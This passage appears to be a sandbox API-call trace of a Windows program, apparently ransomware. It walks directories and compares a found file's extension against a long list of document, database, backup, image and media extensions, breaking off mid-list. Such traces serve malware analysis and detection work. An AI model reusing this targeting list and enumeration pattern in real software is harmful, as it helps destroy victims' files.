	[0189.097] FindNextFileW (in: hFindFile=0x3fb2298, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0189.097] FindClose (in: hFindFile=0x3fb2298 | out: hFindFile=0x3fb2298) returned 1
	[0189.097] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fe7090 | out: hHeap=0x750000) returned 1
	[0189.097] FindNextFileW (in: hFindFile=0x3fb20d8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0189.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName=".", cAlternateFileName="")) returned 0x3fb2258
	[0189.097] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="..", cAlternateFileName="")) returned 1
	[0189.097] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="verisign.bmp", cAlternateFileName="")) returned 1
	[0189.097] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="verisign.bmp", cAlternateFileName="")) returned 0
	[0189.097] FindClose (in: hFindFile=0x3fb2258 | out: hFindFile=0x3fb2258) returned 1
	[0189.097] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fe7090 | out: hHeap=0x750000) returned 1
	[0189.097] FindNextFileW (in: hFindFile=0x3fb20d8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef16b10, ftCreationTime.dwHighDateTime=0x1d55010, ftLastAccessTime.dwLowDateTime=0x1aac8340, ftLastAccessTime.dwHighDateTime=0x1d5556c, ftLastWriteTime.dwLowDateTime=0x1aac8340, ftLastWriteTime.dwHighDateTime=0x1d5556c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1
	[0189.097] lstrlenW (lpString="spcwin.exe") returned 10
	[0189.097] lstrlenW (lpString=".1cd") returned 4
	[0189.097] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.097] lstrlenW (lpString=".3ds") returned 4
	[0189.098] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".3fr") returned 4
	[0189.098] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".3g2") returned 4
	[0189.098] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".3gp") returned 4
	[0189.098] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".7z") returned 3
	[0189.098] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.098] lstrlenW (lpString=".accda") returned 6
	[0189.098] lstrcmpiW (lpString1=".accda", lpString2="in.exe") returned -1
	[0189.098] lstrlenW (lpString=".accdb") returned 6
	[0189.098] lstrcmpiW (lpString1=".accdb", lpString2="in.exe") returned -1
	[0189.098] lstrlenW (lpString=".accdc") returned 6
	[0189.098] lstrcmpiW (lpString1=".accdc", lpString2="in.exe") returned -1
	[0189.098] lstrlenW (lpString=".accde") returned 6
	[0189.098] lstrcmpiW (lpString1=".accde", lpString2="in.exe") returned -1
	[0189.098] lstrlenW (lpString=".accdt") returned 6
	[0189.098] lstrcmpiW (lpString1=".accdt", lpString2="in.exe") returned -1
	[0189.098] lstrlenW (lpString=".accdw") returned 6
	[0189.098] lstrcmpiW (lpString1=".accdw", lpString2="in.exe") returned -1
	[0189.098] lstrlenW (lpString=".adb") returned 4
	[0189.098] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".adp") returned 4
	[0189.098] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".ai") returned 3
	[0189.098] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0189.098] lstrlenW (lpString=".ai3") returned 4
	[0189.098] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".ai4") returned 4
	[0189.098] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".ai5") returned 4
	[0189.098] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".ai6") returned 4
	[0189.098] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".ai7") returned 4
	[0189.098] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0189.098] lstrlenW (lpString=".ai8") returned 4
	[0189.099] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".anim") returned 5
	[0189.099] lstrcmpiW (lpString1=".anim", lpString2="n.exe") returned -1
	[0189.099] lstrlenW (lpString=".arw") returned 4
	[0189.099] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".as") returned 3
	[0189.099] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0189.099] lstrlenW (lpString=".asa") returned 4
	[0189.099] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".asc") returned 4
	[0189.099] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".ascx") returned 5
	[0189.099] lstrcmpiW (lpString1=".ascx", lpString2="n.exe") returned -1
	[0189.099] lstrlenW (lpString=".asm") returned 4
	[0189.099] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".asmx") returned 5
	[0189.099] lstrcmpiW (lpString1=".asmx", lpString2="n.exe") returned -1
	[0189.099] lstrlenW (lpString=".asp") returned 4
	[0189.099] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".aspx") returned 5
	[0189.099] lstrcmpiW (lpString1=".aspx", lpString2="n.exe") returned -1
	[0189.099] lstrlenW (lpString=".asr") returned 4
	[0189.099] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".asx") returned 4
	[0189.099] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".avi") returned 4
	[0189.099] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".avs") returned 4
	[0189.099] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".backup") returned 7
	[0189.099] lstrcmpiW (lpString1=".backup", lpString2="win.exe") returned -1
	[0189.099] lstrlenW (lpString=".bak") returned 4
	[0189.099] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".bay") returned 4
	[0189.099] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0189.099] lstrlenW (lpString=".bd") returned 3
	[0189.099] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0189.099] lstrlenW (lpString=".bin") returned 4
	[0189.099] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".bmp") returned 4
	[0189.100] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".bz2") returned 4
	[0189.100] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".c") returned 2
	[0189.100] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0189.100] lstrlenW (lpString=".cdr") returned 4
	[0189.100] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".cer") returned 4
	[0189.100] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".cf") returned 3
	[0189.100] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0189.100] lstrlenW (lpString=".cfc") returned 4
	[0189.100] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".cfm") returned 4
	[0189.100] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".cfml") returned 5
	[0189.100] lstrcmpiW (lpString1=".cfml", lpString2="n.exe") returned -1
	[0189.100] lstrlenW (lpString=".cfu") returned 4
	[0189.100] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".chm") returned 4
	[0189.100] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".cin") returned 4
	[0189.100] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".class") returned 6
	[0189.100] lstrcmpiW (lpString1=".class", lpString2="in.exe") returned -1
	[0189.100] lstrlenW (lpString=".clx") returned 4
	[0189.100] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".config") returned 7
	[0189.100] lstrcmpiW (lpString1=".config", lpString2="win.exe") returned -1
	[0189.100] lstrlenW (lpString=".cpp") returned 4
	[0189.100] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".cr2") returned 4
	[0189.100] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".crt") returned 4
	[0189.100] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0189.100] lstrlenW (lpString=".crw") returned 4
	[0189.100] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".cs") returned 3
	[0189.101] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0189.101] lstrlenW (lpString=".css") returned 4
	[0189.101] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".csv") returned 4
	[0189.101] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".cub") returned 4
	[0189.101] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".dae") returned 4
	[0189.101] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".dat") returned 4
	[0189.101] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".db") returned 3
	[0189.101] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0189.101] lstrlenW (lpString=".dbf") returned 4
	[0189.101] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".dbx") returned 4
	[0189.101] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".dc3") returned 4
	[0189.101] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".dcm") returned 4
	[0189.101] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".dcr") returned 4
	[0189.101] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".der") returned 4
	[0189.101] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".dib") returned 4
	[0189.101] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".dic") returned 4
	[0189.101] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".dif") returned 4
	[0189.101] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0189.101] lstrlenW (lpString=".divx") returned 5
	[0189.101] lstrcmpiW (lpString1=".divx", lpString2="n.exe") returned -1
	[0189.101] lstrlenW (lpString=".djvu") returned 5
	[0189.101] lstrcmpiW (lpString1=".djvu", lpString2="n.exe") returned -1
	[0189.101] lstrlenW (lpString=".dng") returned 4
	[0189.101] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".doc") returned 4
	[0189.102] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".docm") returned 5
	[0189.102] lstrcmpiW (lpString1=".docm", lpString2="n.exe") returned -1
	[0189.102] lstrlenW (lpString=".docx") returned 5
	[0189.102] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0189.102] lstrlenW (lpString=".dot") returned 4
	[0189.102] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".dotm") returned 5
	[0189.102] lstrcmpiW (lpString1=".dotm", lpString2="n.exe") returned -1
	[0189.102] lstrlenW (lpString=".dotx") returned 5
	[0189.102] lstrcmpiW (lpString1=".dotx", lpString2="n.exe") returned -1
	[0189.102] lstrlenW (lpString=".dpx") returned 4
	[0189.102] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".dqy") returned 4
	[0189.102] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".dsn") returned 4
	[0189.102] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".dt") returned 3
	[0189.102] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0189.102] lstrlenW (lpString=".dtd") returned 4
	[0189.102] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".dwg") returned 4
	[0189.102] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".dwt") returned 4
	[0189.102] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".dx") returned 3
	[0189.102] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0189.102] lstrlenW (lpString=".dxf") returned 4
	[0189.102] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".edml") returned 5
	[0189.102] lstrcmpiW (lpString1=".edml", lpString2="n.exe") returned -1
	[0189.102] lstrlenW (lpString=".efd") returned 4
	[0189.102] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".elf") returned 4
	[0189.102] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0189.102] lstrlenW (lpString=".emf") returned 4
	[0189.102] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0189.103] lstrlenW (lpString=".emz") returned 4
	[0189.103] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0189.103] lstrlenW (lpString=".epf") returned 4
	[0189.103] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0189.103] lstrlenW (lpString=".eps") returned 4
	[0189.103] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0189.103] lstrlenW (lpString=".epsf") returned 5
	[0189.103] lstrcmpiW (lpString1=".epsf", lpString2="n.exe") returned -1
	[0189.103] lstrlenW (lpString=".epsp") returned 5
	[0189.103] lstrcmpiW (lpString1=".epsp", lpString2="n.exe") returned -1
	[0189.103] lstrlenW (lpString=".erf") returned 4
	[0189.103] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0189.103] lstrlenW (lpString=".exr") returned 4
	[0189.103] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0189.103] lstrlenW (lpString=".f4v") returned 4
	[0189.103] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0189.103] lstrlenW (lpString=".fido") returned 5
	[0189.103] lstrcmpiW (lpString1=".fido", lpString2="n.exe") returned -1
	[0189.103] lstrlenW (lpString=".flm") returned 4
	[0189.103] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0189.103] lstrlenW (lpString=".flv") returned 4
	[0189.103] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0189.103] lstrlenW (lpString=".frm") returned 4
	[0189.103] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0189.103] lstrlenW (lpString=".fxg") returned 4
	[0189.103] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0189.103] lstrlenW (lpString=".geo") returned 4
	[0189.103] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0189.103] lstrlenW (lpString=".gif") returned 4
	[0189.103] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0189.103] lstrlenW (lpString=".grs") returned 4
	[0189.103] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0189.103] lstrlenW (lpString=".gz") returned 3
	[0189.103] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0189.103] lstrlenW (lpString=".h") returned 2
	[0189.103] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0189.103] lstrlenW (lpString=".hdr") returned 4
	[0189.103] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".hpp") returned 4
	[0189.104] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".hta") returned 4
	[0189.104] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".htc") returned 4
	[0189.104] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".htm") returned 4
	[0189.104] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".html") returned 5
	[0189.104] lstrcmpiW (lpString1=".html", lpString2="n.exe") returned -1
	[0189.104] lstrlenW (lpString=".icb") returned 4
	[0189.104] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".ics") returned 4
	[0189.104] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".iff") returned 4
	[0189.104] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".inc") returned 4
	[0189.104] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".indd") returned 5
	[0189.104] lstrcmpiW (lpString1=".indd", lpString2="n.exe") returned -1
	[0189.104] lstrlenW (lpString=".ini") returned 4
	[0189.104] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".iqy") returned 4
	[0189.104] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".j2c") returned 4
	[0189.104] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".j2k") returned 4
	[0189.104] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".java") returned 5
	[0189.104] lstrcmpiW (lpString1=".java", lpString2="n.exe") returned -1
	[0189.104] lstrlenW (lpString=".jp2") returned 4
	[0189.104] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".jpc") returned 4
	[0189.104] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".jpe") returned 4
	[0189.104] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0189.104] lstrlenW (lpString=".jpeg") returned 5
	[0189.104] lstrcmpiW (lpString1=".jpeg", lpString2="n.exe") returned -1
	[0189.105] lstrlenW (lpString=".jpf") returned 4
	[0189.105] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0189.105] lstrlenW (lpString=".jpg") returned 4
	[0189.105] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.105] lstrlenW (lpString=".jpx") returned 4
	[0189.105] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0189.105] lstrlenW (lpString=".js") returned 3
	[0189.105] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0189.105] lstrlenW (lpString=".jsf") returned 4
	[0189.105] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0189.105] lstrlenW (lpString=".json") returned 5
	[0189.105] lstrcmpiW (lpString1=".json", lpString2="n.exe") returned -1
	[0189.105] lstrlenW (lpString=".jsp") returned 4
	[0189.105] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0189.105] lstrlenW (lpString=".kdc") returned 4
	[0189.105] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0189.105] lstrlenW (lpString=".kmz") returned 4
	[0189.105] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0189.105] lstrlenW (lpString=".kwm") returned 4
	[0189.105] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0189.105] lstrlenW (lpString=".lasso") returned 6
	[0189.105] lstrcmpiW (lpString1=".lasso", lpString2="in.exe") returned -1
	[0189.105] lstrlenW (lpString=".lbi") returned 4
	[0189.106] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".lgf") returned 4
	[0189.106] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".lgp") returned 4
	[0189.106] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".log") returned 4
	[0189.106] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".m1v") returned 4
	[0189.106] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".m4a") returned 4
	[0189.106] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".m4v") returned 4
	[0189.106] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".max") returned 4
	[0189.106] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".md") returned 3
	[0189.106] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0189.106] lstrlenW (lpString=".mda") returned 4
	[0189.106] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".mdb") returned 4
	[0189.106] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".mde") returned 4
	[0189.106] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".mdf") returned 4
	[0189.106] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".mdw") returned 4
	[0189.106] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".mef") returned 4
	[0189.106] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".mft") returned 4
	[0189.106] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".mfw") returned 4
	[0189.106] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".mht") returned 4
	[0189.106] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0189.106] lstrlenW (lpString=".mhtml") returned 6
	[0189.106] lstrcmpiW (lpString1=".mhtml", lpString2="in.exe") returned -1
	[0189.106] lstrlenW (lpString=".mka") returned 4
	[0189.107] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".mkidx") returned 6
	[0189.107] lstrcmpiW (lpString1=".mkidx", lpString2="in.exe") returned -1
	[0189.107] lstrlenW (lpString=".mkv") returned 4
	[0189.107] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".mos") returned 4
	[0189.107] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".mov") returned 4
	[0189.107] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".mp3") returned 4
	[0189.107] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".mp4") returned 4
	[0189.107] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".mpeg") returned 5
	[0189.107] lstrcmpiW (lpString1=".mpeg", lpString2="n.exe") returned -1
	[0189.107] lstrlenW (lpString=".mpg") returned 4
	[0189.107] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".mpv") returned 4
	[0189.107] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".mrw") returned 4
	[0189.107] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".msg") returned 4
	[0189.107] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".mxl") returned 4
	[0189.107] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".myd") returned 4
	[0189.107] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".myi") returned 4
	[0189.107] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".nef") returned 4
	[0189.107] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".nrw") returned 4
	[0189.107] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".obj") returned 4
	[0189.107] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".odb") returned 4
	[0189.107] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0189.107] lstrlenW (lpString=".odc") returned 4
	[0189.108] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".odm") returned 4
	[0189.108] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0189.108] lstrlenW (lpString=".odp") returned 4
